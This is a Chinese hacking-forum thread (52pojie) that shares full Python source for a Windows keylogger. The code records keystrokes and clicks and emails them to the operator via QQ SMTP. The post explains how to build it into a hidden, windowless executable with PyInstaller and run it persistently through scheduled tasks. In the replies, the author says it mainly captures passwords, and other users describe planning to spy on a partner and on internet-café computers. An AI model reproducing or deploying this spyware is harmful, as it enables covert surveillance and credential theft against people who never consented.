吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3066|回复: 24
收起左侧

[Python 原创] windows键盘监听

[复制链接]
woaipojiejiejie 发表于 2024-2-27 00:47
本帖最后由 woaipojiejiejie 于 2024-2-27 00:57 编辑

可以记录键盘键入的键位,并且发送给特定邮箱
本人要出借电脑给别人,为了防一手就想记录键盘行为,然后写到一半突然发现可以写一个键盘监听软件出来,所以就搞了个这个出来
免责声明:用于非法行为本人无关
效果展示,enter或者鼠标点击时,并且记录长度大于10(可以自行修改long变量来修改记录长度)时触发发送邮件



使用方法

第一步:
将代码中的email变量填入自己的qq邮箱
然后password填入授权码,授权码获取如下列图片




第二步:
然后python启动
下列代码打包成.py文件
[Asm] 纯文本查看 复制代码
import smtplib
import pynput
from pynput.keyboard import Key, Listener
from pynput import keyboard, mouse
from email.mime.text import MIMEText

email = ""
password = ""
server = smtplib.SMTP("smtp.qq.com", 587)
server.ehlo()
server.starttls()
server.login(email, password)
message =""
name="52pj\n"
long=10
def on_mouse_click(x, y, button, pressed):
    global message
    global long
    if pressed:
        if len(message) >= long:
            send()
            message = ""
def on_keyboard_press(key):
    global message
    global long
    global name
    temp = f"{key}"
    if temp[0] == '\'':
        temp = temp[1:-1]
    else:
        temp=" "+temp+" "
    if key == Key.enter:
        if len(message) >= long:
            send()
            message =""
    elif key == Key.backspace:
        message=message[:-1]
    elif len(temp)==1:
        message+=temp
def send():
    msg = MIMEText(name + message)
    msg["From"] = email
    msg["To"] = email
    msg["Subject"] = name
    server.sendmail(
        email,
        email,
        msg.as_string()
    )

keyboard_listener = keyboard.Listener(on_press=on_keyboard_press)

mouse_listener = mouse.Listener(on_click=on_mouse_click)

keyboard_listener.start()
mouse_listener.start()

keyboard_listener.join()
mouse_listener.join()


记得pip install 依赖包

第三步:
然后pip install pyinstaller
在cd到之前.py的文件夹
执行Pyinstaller -F -w  keylogger.py(你自己取的名字)
就可以在dist文件夹找到.exe文件,就可以运行了
之后可以自己配合windows计划任务食用更佳

免费评分

参与人数 5吾爱币 +11 热心值 +5 收起 理由
苏紫方璇 + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
safe-夏天 + 1 + 1 我很赞同!
fast001 + 1 + 1 我很赞同!
sosksyx + 1 + 1 我很赞同!
kolt1911 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| woaipojiejiejie 发表于 2024-2-27 14:16
忘记说了,要是要停止的话要从任务管理器
huhello 发表于 2024-3-25 15:01
哈哈,我之前也写过一个,但是大大们不给上传,不过楼主这个占用内存有点高,能明显感觉到鼠标和键盘的反应有不太流畅的情况,还是可以优化一下的,还可以加一个记录鼠标的坐标,后面可以用坐标编写一个辅助工具,来还原当时的操作路径。
safe-夏天 发表于 2024-2-27 15:38
实不相瞒,想用来监控一下身边亲近的人,防止老王
bazyu 发表于 2024-2-27 13:11
谁能帮我直接代码搞完打包
 楼主| woaipojiejiejie 发表于 2024-2-27 14:11
bazyu 发表于 2024-2-27 13:11
谁能帮我直接代码搞完打包

要是放心给邮箱和授权码的话,我可以帮你
Pojawa 发表于 2024-2-27 18:33
其实不太用担心被用于非法行为,毕竟生成的二进制程序如果不主动加白名单,各杀软一杀一个准
 楼主| woaipojiejiejie 发表于 2024-2-27 20:32
Pojawa 发表于 2024-2-27 18:33
其实不太用担心被用于非法行为,毕竟生成的二进制程序如果不主动加白名单,各杀软一杀一个准

我的火绒怎么好像没有反应
 楼主| woaipojiejiejie 发表于 2024-2-27 20:34
safe-夏天 发表于 2024-2-27 15:38
实不相瞒,想用来监控一下身边亲近的人,防止老王

那可能需要改改,我这个主要抓取密码
Misaeng 发表于 2024-2-29 15:32
这就去我家网吧电脑上试试
Jokerboxs 发表于 2024-2-29 20:25
感谢分享 学习了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 13:33

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表